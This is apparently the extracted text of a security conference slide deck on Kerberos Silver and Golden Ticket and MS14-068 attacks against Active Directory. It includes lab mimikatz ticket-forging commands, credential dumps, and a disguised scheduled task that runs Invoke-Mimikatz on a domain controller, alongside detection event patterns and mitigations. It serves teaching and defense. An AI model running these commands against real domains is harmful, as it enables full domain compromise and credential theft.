  Client: DarthVader @ lab.adsecurity.org
  Server: krbtgt/lab.adsecurity.org @ lab.adsecurity.org
  Kerb Ticket Encryption Type: RSADSI RC4-HMAC(NT)
  Ticket Flags 0x00000000 -> forwardable renewable initial pre_authent
  Start Time: 3/12/2015 21:44:08 (local)
  End Time: 3/13/2015 7:44:08 (local)
  Renew Time: 3/19/2015 9:44:08 (local)
  Session Key Type: RSADSI RC4-HMAC(NT)

PS C:\Users\JoeUser> net use \\adsdc02.lab.adsecurity.org\c$ \windows\ntds

The command completed successfully.

PS C:\Users\JoeUser> whoami

adsdc02.lab\JoeUser

PS C:\Users\JoeUser>
Microsoft finally got the message that Silver Tickets are a real threat.

In November, they officially announced a vulnerability and issued a software update. The

Mission accomplished: this Silver Ticket threat is now over.

Date:

December 29, 2014

So in the service ticket generated by Kerberos, Microsoft added a check on the PAC (see the graphic) itself: it hashed the PAC using the krbtgt password as a key, and then added the resulting hash value as a separate field.

This should in theory completely block the Silver Ticket attack. The hackers don’t have the hard-to-get krbtgt account in this exploit, and therefore are prevented from forging the ST. Unfortunately, for performance reasons, many administrators turn off this validation check, which would add a delay as the Kerberos server itself is contacted to calculate the krbtgt hash.

Worse yet, hackers discovered that even when this is enabled, Kerberos doesn’t properly validate the hash: you could enter a random string for the hash and still gain entry!

By the way, Tim Medin, a security researcher and pen tester, has a beautiful presentation and a fuller explanation of Silver Tickets.
ONE DOES NOT SIMPLY
PATCH SILVER TICKETS
The Silver Ticket (Forged TGS)

- Service account configured for Kerberos auth (SPN).
- Encrypted with the service account private key:
  - Service account NLTM password hash
  - AD computer account NLTM password hash
- Service opens TGS ticket to validate.
- Golden Ticket equivalent access to service.
- No associated TGT exists, so no comm with a DC
Silver Ticket (Forged TGS) Communication

User’s Workstation -> Domain Controller

PAC Validation Request (Optional) -> PAC Validation Response (Optional)

5. AP REQ (present TGS for access)

6. AP REP (optional, used when mutual authentication is requested)

Domain Controller -> Application Server
Silver Ticket: Domain Controller Exploitation

• Attacker dumped AD & has all domain creds.
• Corp IT changed all user, admin, and service account passwords (and KRBTGT pw 2x).
• Attacker still has Domain Controller computer account password hashes.

What is possible with these?
Silver Ticket: Domain Controller Exploitation

```bash
User: LukeSkywalker
Domain: LAB.ADSECURITY.ORG
SID: S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service: cifs
Target: adsdc02.lab.adsecurity.org
-> Ticket: ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for 'LukeSkywalker @ LAB.ADSECURITY.ORG' successfully submitted

mimikatz (commandline) # exit
Bye!
```
Silver Ticket: Domain Controller Exploitation

mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB
482-2957264255-828990924 /target:adsdc02.lab.adsecurity.org /rc4:eaac459f
User       : LukeSkywalker
Domain     : LAB.ADSECURITY.ORG
SID        : S-1-5-21-1387203482-2957264255-828990924
User Id    : 2601
Groups Id  : *513 512 520 518 519
ServiceKey: eaac459f6664fe083b734a1898c9704e - rc4_hmac_nt
Service    : HOST
Target     : adsdc02.lab.adsecurity.org
-> Ticket  : ** Pass The Ticket **

* PAC generated
* PAC signed
* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for **LukeSkywalker @ LAB.ADSECURITY.ORG** successfully submitted

mimikatz(commandline) # exit
Bye!
# Get our ticket
Cached Tickets: 1

Client: LukeSkywalker @ LAB.ADSECURITY.ORG
Server: HOST/adsdc02.lab.adsecurity.org @ LAB.ADSECURITY.ORG
KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
Ticket Flags 0x40a00000 -> forwardable renewable pre_authent
Start Time: 3/15/2015 0:19:42 (local)
End Time: 3/12/2025 0:19:42 (local)
Renew Time: 3/12/2025 0:19:42 (local)
Session Key Type: RSADSI RC4-HMAC(NT)

PS C:\temp\mimikatz> schtasks /create /S adsdc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System\Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz>

PS C:\temp\mimikatz> schtasks /create /S adsdc02.lab.adsecurity.org /SC WEEKLY /RU "NT Authority\System\Health Check" /TR "c:\windows\temp\Invoke-Mimikatz.ps1"
WARNING: The task name "SCOM Agent Health Check" already exists. Do you want to replace it <Y/N>?
SUCCESS: The scheduled task "SCOM Agent Health Check" has successfully been created.

PS C:\temp\mimikatz> schtasks /query /S adsdc02.lab.adsecurity.org

<table>
<thead>
<tr>
<th>Folder: \</th>
<th>TaskName</th>
<th>Next Run Time</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>SCOM Agent Health Check</td>
<td>3/22/2015 12:21:00 AM</td>
<td>Ready</td>
</tr>
</tbody>
</table>
Silver Ticket: Domain Controller Exploitation

invoke-mimikatz

mmkdom

mimikatz 2.0 alpha (x64) release "Kiwi en C" (May 20 2014 08:56:48).## ^ ##. ## / \ ## /* * * ## / \ ## Benjamin DELPY `gentilkiwi` (benjamin@gentilkiwi.com) ## v ##
http://blog.gentilkiwi.com/mimikatz (oe.oe) ####### with 14 modules * * */mimikatz(powershell) # privilege::debugPrivilege '20' OKmimikatz(powershell) # lsadump::samrpc
6f409c1cab7f73d298dc3d94163543dRID: 000001f5 (502)User: GuestLM: NTLM:
RID: 000001f6 (502)User: krbtgt LM: NTLM:
7e2a0e20851d0229f2489210b6576edeRID: 000003e8 (1000)User: adminLM:
NTLM: 269c0c63a623b2e062df9df861c9b82818RID:
Silver Ticket: Domain Controller Exploitation

- Gain access to a Domain Controller’s AD computer account password.
- Generate Silver Ticket for *CIFS* SPN to access file system via default shares.
- Generate Silver Ticket for *HOST* SPN to create scheduled task to run as local System (and re-exploit the domain).

HOST = alerter, appmgmt, cisvc, clipsrv, browser, dhcp, dnscache, replicator, eventlog, eventsystem, policyagent, oakley, dmserver, dns, mcsvc, fax, msiserver, ias, messenger, netlogon, netman, netdde, netddedsm, nmagent, plugplay, protectedstorage, rasman, rpclocator, rpc, rpcss, remoteaccess, rsrv, samss, scardsvr, scesrv, seclogon, scm, dcom, cifs, spooler, snmp, schedule, tapisrv, trksvr, trkwks, ups, time, wins, www, http, w3svc, iisadmin, msdte
Silver to Gold

```
mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB.ADSECURITY.ORG /482-2957264255-828990924 /target:adsdc02.lab.adsecurity.org /rc4:f79329f906f0ef88e8d45c34e7d0f28f - rc4_hmac_nt
User  : LukeSkywalker
Domain : LAB.ADSECURITY.ORG
SID   : S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: f79329f906f0ef88e8d45c34e7d0f28f - rc4_hmac_nt
Service : HTTP
Target : adsdc02.lab.adsecurity.org
-> Ticket: ** Pass The Ticket **
```

```
mimikatz(commandline) # kerberos::golden /admin:LukeSkywalker /domain:LAB.ADSECURITY.ORG /482-2957264255-828990924 /target:adsdc02.lab.adsecurity.org /rc4:f79329f906f0ef88e8d45c34e7d0f28f - rc4_hmac_nt
User  : LukeSkywalker
Domain : LAB.ADSECURITY.ORG
SID   : S-1-5-21-1387203482-2957264255-828990924
User Id: 2601
Groups Id: *513 512 520 518 519
ServiceKey: f79329f906f0ef88e8d45c34e7d0f28f - rc4_hmac_nt
Service : wsman
Target : adsdc02.lab.adsecurity.org
-> Ticket: ** Pass The Ticket **
```
Silver to Gold
Blue Team (Defense)
Raising the Bar

Detect
Mitigate
Prevent
Detecting MS14-068 On the Wire

**AS-REQ**

- Kerberos
- Record Mark: 292 bytes
- as-rep
- pvno: 5
- msg-type: krb-as-rep (10)
- padata: 2 items
  - PA-DATA PA-ENC-TIMESTAMP
    - padata-type: kRB5-PADATA-ENC-TIM
      - padata-value: 303da003020117a2e
  - PA-DATA PA-PAC-REQUEST
    - padata-type: kRB5-PADATA-PA-PAC-REQUEST
      - padata-value: 3005a003010100

  **include-pac: False**

**TGS-REQ**

- tgs-req
  - pvno: 5
  - msg-type: krb-tgs-req (12)
  - padata: 2 items
    - PA-DATA PA-TGS-REQ
      - padata-type: kRB5-PADATA-TGS-REQ (1)
      - padata-value: 6e820203308201ffaa003020105a10302010ea20703050000...

- ap-req
  - pvno: 5
  - msg-type: krb-ap-req (14)
  - Padding: 0
  - ap-options: 00000000
    - 0... = reserved: False
    - .0... = use-session-key: False
    - ... = mutual-required: False
  - ticket
    - tkv-nvo: 5
    - realm: LAB.ADSECURITY.ORG
  - name
    - name-type: kRB5-NT-PRINCIPAL (1)
    - name-string: 2 items
      - enctype
        - etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
        - kvno: 2
        - cipher: 5b8e025719b07799efc3c6a9a5a4f2312395be86e
  - authenticator
    - etype: eTYPE-ARCFOUR-HMAC-MD5 (23)
    - cipher: d606bae2ed83b02ad5f2c37ce0518d57dfbabad7eaf619...
Protection from Kerberos Golden Ticket

**Mitigating pass the ticket on Active Directory**


### 3.4 Detection

#### 3.4.1 Security events when using a valid golden tickets

As any pass-the-ticket attack, the attacker replays the golden ticket in a standard Kerberos protocol. Therefore, there is no clear indication of such attack in Windows logs. Nevertheless, general rules to detect pass-the-ticket attacks can be applied here. Another white-paper will be released soon on this subject.


10/06/2014
WHAT IF I TOLD YOU

GOLDEN TICKETS AND SILVER TICKETS CAN BE DETECTED
Detecting Forged Kerberos Golden (TGT) & Silver (TGS) Tickets

• Normal, valid account logon event data structure:
  • Security ID:  DOMAIN\AccountID
  • Account Name:  AccountID
  • Account Domain:  DOMAIN

• Golden & Silver Ticket events may have one of these issues:
  • The Account Domain field is blank when it should contain DOMAIN.
  • The Account Domain field is DOMAIN FQDN when it should contain DOMAIN.
Detecting MS14-068 Exploit Security Events

• Normal, valid account logon event data structure:
  • **Security ID**: DOMAIN\AccountID
  • **Account Name**: AccountID
  • **Account Domain**: DOMAIN

• **MS14-068 Exploit** events may have 1 (or more) of these:
  • The Account Domain field is **blank** when it should be DOMAIN
  • The Account Domain field is **DOMAIN FQDN** when it should be DOMAIN.
  • Account Name is a different account from the Security ID.
Golden & Silver Ticket Event Anomalies

• **Event ID: 4624 (Account Logon)***
  • Account Domain is FQDN & should be short domain name
  • Account Domain: LAB.ADSECURITY.ORG [ADSECLAB]

• **Event ID: 4672 (Admin Logon)***
  • Account Domain is blank & should be short domain name
  • Account Domain: ____________________ [ADSECLAB]

• **Event ID: 4634 (Account Logoff)**
  • Account Domain is blank & should be short domain name
  • Account Domain: ____________________ [ADSECLAB]
Detecting MS14-068 Exploit Events

• Event ID: 4624 (Account Logon)*
  • The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
  • Account Name is a different account from the Security ID.

• Event ID: 4672 (Admin Logon)*
  • The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
  • Account Name is a different account from the Security ID.
  • Account Domain is **blank** & should be **DOMAIN**.

• Event ID: 4768 (Kerberos TGS Request)
  • The Account Domain field is **DOMAIN FQDN** when it should be **DOMAIN**.
Silver Ticket Event 4624: Account Logon

<table>
<thead>
<tr>
<th>Valid</th>
<th>Forged Ticket</th>
</tr>
</thead>
<tbody>
<tr>
<td>An account was successfully logged on.</td>
<td>An account was successfully logged on.</td>
</tr>
<tr>
<td><strong>Subject:</strong></td>
<td><strong>Subject:</strong></td>
</tr>
<tr>
<td>Security ID: NULL SID</td>
<td>Security ID: NULL SID</td>
</tr>
<tr>
<td>Account Name: -</td>
<td>Account Name: -</td>
</tr>
<tr>
<td>Account Domain: -</td>
<td>Account Domain: -</td>
</tr>
<tr>
<td>Logon ID: 0x0</td>
<td>Logon ID: 0x0</td>
</tr>
<tr>
<td>Logon Type: 3</td>
<td>Logon Type: 3</td>
</tr>
<tr>
<td><strong>New Logon:</strong></td>
<td><strong>New Logon:</strong></td>
</tr>
<tr>
<td>Account Name: LukeSkywalker</td>
<td>Account Name: LukeSkywalker</td>
</tr>
<tr>
<td>Account Domain: LAB.ADSECURITY.ORG</td>
<td>Account Domain: LAB.ADSECURITY.ORG</td>
</tr>
<tr>
<td>Logon ID: 0x3a6678</td>
<td>Logon ID: 0x3a6678</td>
</tr>
<tr>
<td>Logon GUID: {8d8eac7a-8d7f-58e6-df5a-7e7cd3a7fb93}</td>
<td>Logon GUID: {062bedaa-b2ee-fc9b-e292-a6ab619eb0da}</td>
</tr>
<tr>
<td><strong>Process Information:</strong></td>
<td><strong>Process Information:</strong></td>
</tr>
<tr>
<td>Process ID: 0x0</td>
<td>Process ID: 0x0</td>
</tr>
<tr>
<td>Process Name: -</td>
<td>Process Name: -</td>
</tr>
<tr>
<td><strong>Network Information:</strong></td>
<td><strong>Network Information:</strong></td>
</tr>
<tr>
<td>Workstation Name:</td>
<td>Workstation Name:</td>
</tr>
<tr>
<td>Source Network Address: 172.16.11.202</td>
<td>Source Network Address: 172.16.11.202</td>
</tr>
<tr>
<td>Source Port: 50017</td>
<td>Source Port: 50017</td>
</tr>
</tbody>
</table>
Silver Ticket Event 4634: Account Logoff

An account was logged off.

Subject:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: ADSECLAB
- Logon ID: 0x3a668d
- Logon Type: 3

This event is generated when a logon session is destroyed. It may be positively correlated value. Logon IDs are only unique between reboots on the same computer.

Valid

Forged Ticket
Silver Ticket Event 4674: PowerShell Remoting

An operation was attempted on a privileged object.

Subject:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: 
- Logon ID: 0x99B8A

Object:
- Object Server: Security
- Object Type: -
- Object Name: -
- Object Handle: 0x440

Process Information:
- Process ID: 0x844
- Process Name: C:\Windows\System32\wsmprovhost.exe

Requested Operation:
- Desired Access: 983103
- Privileges: SeTakeOwnershipPrivilege
Golden Ticket Event 4672: Fictional Admin Logon

Valid

Forged Ticket
Golden Ticket Event 4672: Fictional Admin Spoofing

<table>
<thead>
<tr>
<th>Subject</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\LukeSkywalker</td>
</tr>
<tr>
<td>Account Name:</td>
<td>LukeSkywalker</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x3a6678</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Privileges</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SeSecurityPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeBackupPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeTakeOwnershipPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeSystemEnvironmentPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeEnableDelegationPrivilege</td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Subject</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\LukeSkywalker</td>
</tr>
<tr>
<td>Account Name:</td>
<td>DarthVader</td>
</tr>
<tr>
<td>Account Domain:</td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x7CA83</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Privileges</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>SeSecurityPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeBackupPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeRestorePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeTakeOwnershipPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeDebugPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeSystemEnvironmentPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeLoadDriverPrivilege</td>
<td></td>
</tr>
<tr>
<td>SeImpersonatePrivilege</td>
<td></td>
</tr>
<tr>
<td>SeEnableDelegationPrivilege</td>
<td></td>
</tr>
</tbody>
</table>

Valid Forged Ticket
Golden Ticket Use: KRBTGT password changed 2x
An account was successfully logged on.

<table>
<thead>
<tr>
<th>Subject</th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>Security ID:</td>
<td>NULL SID</td>
<td></td>
</tr>
<tr>
<td>Account Name:</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Account Domain:</td>
<td>-</td>
<td></td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x0</td>
<td></td>
</tr>
</tbody>
</table>

Logon Type: 3

New Logon:
- Security ID: ADSECLAB\LukeSkywalker
- Account Name: LukeSkywalker
- Account Domain: ADSECLAB
- Logon ID: 0x3a668d
- Logon GUID: {df5c4cce-5d32-9997-8bff-484038005d1b}

Process Information:
- Process ID: 0x0
- Process Name: -

Network Information:
- Workstation Name: -
- Source Network Address: 172.16.11.202
- Source Port: 49881

Valid

Forged Ticket
### MS14-068 Kekeo Exploit Ticket Event 4672

**Valid Ticket**

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID: ADSECLAB\LukeSkywalker</th>
<th>Account Name: LukeSkywalker</th>
<th>Account Domain: ADSECLAB</th>
<th>Logon ID: 0x3a6678</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileges:</td>
<td>SeSecurityPrivilege</td>
<td>SeBackupPrivilege</td>
<td>SeRestorePrivilege</td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
</tbody>
</table>

**Forged Ticket**

<table>
<thead>
<tr>
<th>Subject</th>
<th>Security ID: ADSECLAB\JoeUser</th>
<th>Account Name: JoeUser</th>
<th>Account Domain: joeuser</th>
<th>Logon ID: 0x5a5092</th>
</tr>
</thead>
<tbody>
<tr>
<td>Privileges:</td>
<td>SeSecurityPrivilege</td>
<td>SeBackupPrivilege</td>
<td>SeRestorePrivilege</td>
<td>SeTakeOwnershipPrivilege</td>
</tr>
</tbody>
</table>
MS14-068 Exploit Event on Patched DC
Other Interesting Events
VSS Volume Backup Events

Event Properties - Event 7036, Service Control Manager

The Volume Shadow Copy service entered the running state.

Log Name: System
Source: Service Control Manager
Event ID: 7036
Level: Information
User: N/A
OpCode: Info
More Information: Event Log Online Help

Event Properties - Event 20001, UserPnp

Driver Management concluded the process to install driver FileRepository\volsnap.inf_amd64_neutral_7499a4fac85b39fc\volsnap.inf for Device Instance ID STORAGE\VOLUMESNAPSHOT\HARDDISKVOLUMESNAPSHOT2 with the following status: 0x0.

Log Name: System
Source: UserPnp
Event ID: 20001
Level: Information
Keywords: Classic
User: SYSTEM
OpCode: Info
More Information: Event Log Online Help
NTDSUtil AD Database Snapshot Events

Event 325, ESENT

**General**

NTDS (2396) The database engine created a new database (2, c:\temp\Active Directory\ntds.dit). (Time=0 seconds)


**Details**

Log Name: Application
Source: ESENT
Event ID: 325
Level: Information
User: N/A
OpCode: 
More Information: Event Log Online Help

Event 326, ESENT

**General**

NTDS (2396) The database engine attached a database (1, C:\SSNAP_201503242333_VOLUMEC\Windows\NTDS\ntds.dit). (Time=0 seconds)

Saved Cache: 10

**Details**

Log Name: Application
Source: ESENT
Event ID: 326
User: N/A
OpCode: 
Logged: 3/24/2015 11:33:10 PM
Task Category: General
Level: Information
Keywords: Classic
Computer: AD5DC05.lab.adsecurity.org
Active Directory Attack Mitigation: Protecting Admin Credentials

- Separate user & admin accounts
  - No user accounts in admin groups
- **Number of Domain Admins = 0**
- Complete separation of administration
- ADAs use SmartCard auth w/ rotating pw
- ADAs never logon to other security tiers.
- ADAs should only logon to a DC (or admin workstation or server).
Active Directory Attack Mitigation: Protecting Admin Credentials

• Special workstation for admins.
  • Windows 8.1
  • AntiVirus
  • Microsoft EMET
  • Microsoft AppLocker (app whitelisting)
  • Auto-patching
  • No Internet Access
  • Separate network subnet(s) only allow comms to DCs & trusted admin servers
Active Directory Attack Mitigation: Protecting Admin Credentials

• Admin & special accounts: Don’t allow delegation.
Active Directory Attack Mitigation: Protecting Service Account Credentials

• Use long, complex (>25 characters) passwords.
• Implement Fine-Grained Password Policies (DFL >2008).
• Leverage “(Group) Managed Service Accounts”.
  • MSAs passwords automatically changed.
• No Domain Admin service accounts running on non-DCs.
• Limit SAs to systems of the same security level, not shared between workstations & servers (for example).
AD Attack Mitigation: PowerShell Security

• Limit PowerShell Remoting (WinRM).
  • Limit WinRM listener scope to admin subnets.
  • Disable PowerShell Remoting (WinRM) on DCs.
• Audit/block PowerShell script execution via AppLocker.
• PowerShell v3+: Enable PowerShell Module logging (via GPO).
  • Enables tracking of PowerShell command usage
  • Search PowerShell logs for “mimikatz”
• Leverage Metering for PowerShell usage trend analysis.
  • JoeUser ran PowerShell on 10 computers today?
• Track PowerShell Remoting Usage
Mitigating Kerberos Attacks

• Monitor scheduled tasks on Domain Controllers.
• Block internet access to DCs & servers.
• Monitor security event logs on all servers for known forged Kerberos & backup events.
• Include computer account password changes as part of domain-wide password change scenario.
• Change the KRBTGT account password (twice) every year & when an AD admin leaves.
Other Mitigation

• Delete (or secure) GPP policies and files with creds.
• Remove Windows 2003 from your network.
• Disable default local admin account & delete all other local accounts.
• Implement Security Back-port patch (KB2871997) & enable regkey. Also adds new local SIDs.
• Set GPO to prevent local accounts from connecting over network to computers (easy with KB2871997).
• CMD Process logging & enhancement (KB3004375).
• Implement network segmentation.
• Incorporate Threat Intelligence in your process and model defenses against real, current threats.
Summary

• Attackers will get code running on a target network.
• The extent of access is based on the defensive posture.
• Advanced attacks with forged tickets can be detected in logs.
• Protect AD Admins or a full domain compromise is likely!

Early stages of my research, will have other interesting items to share later. 😊
Thanks!

• Alva “Skip” Duckwall (@passingthehash)
  • http://passing-the-hash.blogspot.com

• Benjamin Delpy (@gentilkiwi)
  • http://blog.gentilkiwi.com/mimikatz

• Chris Campbell (@obscuresec)
  • http://obscuresecurity.blogspot.com

• Joe Bialek (@clymb3r)
  • https://clymb3r.wordpress.com

• Matt Graeber (@mattifestation)
  • http://www.exploit-monday.com

• Rob Fuller (@mubix)
  • http://www.room362.com

• Will Schroeder (@harmj0y)
  • http://blog.harmj0y.net

• Many others in the security community!

• My wife & family for putting up with me being on the computer every night! 😊
Contact

• Twitter: @PyroTek3
• Email: sean [@] adsecurity.org
• Blog: www.ADSecurity.org
• Github: https://github.com/PyroTek3

• Slides:
  • http://www.DAnSolutions.com
  • http://presentations.ADSecurity.org
References


• Tim Medin’s DerbyCon 2014 presentation: “Attacking Microsoft Kerberos: Kicking the Guard Dog of Hades”  https://www.youtube.com/watch?v=PUyhIN-E5MU


• Chris Campbell - GPP Password Retrieval with PowerShell  http://obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html


• An overview of KB2871997  http://blogs.technet.com/b/srd/archive/2014/06/05/an-overview-of-kb2871997.aspx

References

- Kerberos, Active Directory’s Secret Decoder Ring
  http://adsecurity.org/?p=227

- Kerberos & KRBTGT: Active Directory’s Domain Kerberos Account
  http://adsecurity.org/?p=483

- PowerShell Code: Check KRBTGT Domain Kerberos Account Last Password Change
  http://adsecurity.org/?p=481


- Mining Active Directory Service Principal Names
  http://adsecurity.org/?p=230

- MS14-068: Vulnerability in (Active Directory) Kerberos Could Allow Elevation of Privilege
  http://adsecurity.org/?tag=ms14068

- Microsoft Enhanced security patch KB2871997
  http://adsecurity.org/?p=559

- SPN Directory:
  http://adsecurity.org/?page_id=183

- PowerShell Code: Find-PSServiceAccounts
  https://github.com/PyroTek3/PowerShell-AD-Recon/blob/master/Find-PSServiceAccounts
References

• DEF CON 22 - Ryan Kazanciyan and Matt Hastings, Investigating PowerShell Attacks
  https://www.youtube.com/watch?v=qF06PFcezLs

• Mandiant 2015 Threat Report

• PowerSploit: https://github.com/mattifestation/PowerSploit

• PowerView:
  https://github.com/Veil-Framework/PowerTools/tree/master/PowerView

• PoshSec: https://github.com/PoshSec

• Microsoft Kerberos PAC Validation
  http://blogs.msdn.com/b/openspecification/archive/2009/04/24/understanding-
  microsoft-kerberos-pac-validation.aspx

• "Admin Free" Active Directory and Windows, Part 1 & 2
  http://blogs.technet.com/b/lrobins/archive/2011/06/23/quot-admin-free-quot-active-
  directory-and-windows-part-1-understanding-privileged-groups-in-ad.aspx
Appendix
PowerShell Module Logging GPO
My Lab Event Logging Config

<table>
<thead>
<tr>
<th>Policy</th>
<th>Setting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Audit account logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit account management</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit directory service access</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit logon events</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit privilege use</td>
<td>Success, Failure</td>
</tr>
<tr>
<td>Audit process tracking</td>
<td>Success, Failure</td>
</tr>
</tbody>
</table>
Silver Ticket Event 4672: Admin Logon

Valid

Forged Ticket
MS14-068 PyKEK Exploit Ticket Event 4672

Valid

Forged Ticket
MS14-068 PyKEK Exploit Ticket Event 4768

A Kerberos authentication ticket (TGT) was requested.

Account Information:
- Account Name: JoeUser
- Supplied Realm Name: ADSECLAB
- User ID: ADSECLAB\JoeUser

Service Information:
- Service Name: krbtgt
- Service ID: ADSECLAB\krbtgt

Network Information:
- Client Address: ::ffff:172.16.11.202
- Client Port: 49175

Additional Information:
- Ticket Options: 0x40810010
- Result Code: 0x0
- Ticket Encryption Type: 0x12
- Pre-Authentication Type: 2

Account Information:
- Account Name: JoeUser
- Supplied Realm Name: LAB.ADSECURITY.ORG
- User ID: ADSECLAB\JoeUser

Service Information:
- Service Name: krbtgt
- Service ID: ADSECLAB\krbtgt

Network Information:
- Client Address: ::ffff:172.16.11.202
- Client Port: 49879

Additional Information:
- Ticket Options: 0x50800000
- Result Code: 0x0
- Ticket Encryption Type: 0x17
- Pre-Authentication Type: 2

Certificate Information:
- Certificate Issuer Name:
- Certificate Serial Number:
- Certificate Thumbprint:

Valid
Forged Ticket
<table>
<thead>
<tr>
<th>Valid</th>
<th>Forged Ticket</th>
</tr>
</thead>
<tbody>
<tr>
<td>An account was successfully logged on.</td>
<td>An account was successfully logged on.</td>
</tr>
<tr>
<td><strong>Subject:</strong></td>
<td><strong>Subject:</strong></td>
</tr>
<tr>
<td>Security ID:</td>
<td>NULL SID</td>
</tr>
<tr>
<td>Account Name:</td>
<td>-</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>-</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Logon Type:</td>
<td>3</td>
</tr>
<tr>
<td>New Logon:</td>
<td>New Logon:</td>
</tr>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\LukeSkywalker</td>
</tr>
<tr>
<td>Account Name:</td>
<td>LukeSkywalker</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x3a668d</td>
</tr>
<tr>
<td>Logon GUID:</td>
<td>{df5c4c6e-5d32-9997-8b0f-484038005d1b}</td>
</tr>
<tr>
<td>Process Information:</td>
<td>Process Information:</td>
</tr>
<tr>
<td>Process ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Process Name:</td>
<td>-</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Valid</th>
<th>Forged Ticket</th>
</tr>
</thead>
<tbody>
<tr>
<td>An account was successfully logged on.</td>
<td>An account was successfully logged on.</td>
</tr>
<tr>
<td><strong>Subject:</strong></td>
<td><strong>Subject:</strong></td>
</tr>
<tr>
<td>Security ID:</td>
<td>NULL SID</td>
</tr>
<tr>
<td>Account Name:</td>
<td>-</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>-</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Logon Type:</td>
<td>3</td>
</tr>
<tr>
<td>New Logon:</td>
<td>New Logon:</td>
</tr>
<tr>
<td>Security ID:</td>
<td>ADSECLAB\JoeUser</td>
</tr>
<tr>
<td>Account Name:</td>
<td>JoeUser</td>
</tr>
<tr>
<td>Account Domain:</td>
<td>LAB.ADSECURITY.ORG</td>
</tr>
<tr>
<td>Logon ID:</td>
<td>0x5a5092</td>
</tr>
<tr>
<td>Logon GUID:</td>
<td>{d2f2da96-ff20-db21-3753-a6fa736a21a1}</td>
</tr>
<tr>
<td>Process Information:</td>
<td>Process Information:</td>
</tr>
<tr>
<td>Process ID:</td>
<td>0x0</td>
</tr>
<tr>
<td>Process Name:</td>
<td>-</td>
</tr>
</tbody>
</table>
### MS14-068 Kekeo Exploit Ticket Event 4768

**A Kerberos authentication ticket (TGT) was requested.**

<table>
<thead>
<tr>
<th>Account Information:</th>
<th>JoeUser</th>
</tr>
</thead>
<tbody>
<tr>
<td>Account Name:</td>
<td></td>
</tr>
<tr>
<td>Supplied Realm Name:</td>
<td>ADSECLAB</td>
</tr>
<tr>
<td>User ID:</td>
<td>ADSECLAB\JoeUser</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Service Information:</th>
<th>krbtgt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Service Name:</td>
<td>krbtgt</td>
</tr>
<tr>
<td>Service ID:</td>
<td>ADSECLAB\krbtgt</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Network Information:</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
